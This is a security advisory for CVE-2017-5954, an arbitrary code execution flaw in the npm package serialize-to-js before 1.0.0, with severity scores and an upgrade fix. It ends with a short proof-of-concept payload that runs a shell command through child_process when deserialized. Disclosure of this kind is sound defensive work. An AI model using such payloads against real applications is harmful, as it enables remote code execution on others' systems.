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Arbitrary Code Execution Affecting serialize-to-js package, versions <1.0.0

0.0
critical

Snyk CVSS

    Attack Complexity Low
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Mature
    EPSS 1.04% (84th percentile)
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NVD
9.8 critical

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  • Snyk ID npm:serialize-to-js:20170208
  • published 13 Feb 2017
  • disclosed 8 Feb 2017
  • credit Ajin Abraham
Report a new vulnerability Found a mistake?

Introduced: 8 Feb 2017

CVE-2017-5954 Open this link in a new tab
CWE-502 Open this link in a new tab

How to fix?

Upgrade serialize-to-js to version 1.0.0 or higher.

Overview

serialize-to-js serializes objects to javascript.

Affected versions of this package are vulnerable to Arbitrary Code Execution. If untrusted user-input is passed into the deserialize(), attackers will be able to send a serialized JavaScript Objects with an Immediately Invoked Function Expression (IIFE).

Example:

var serialize = require('serialize-to-js');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.deserialize(payload);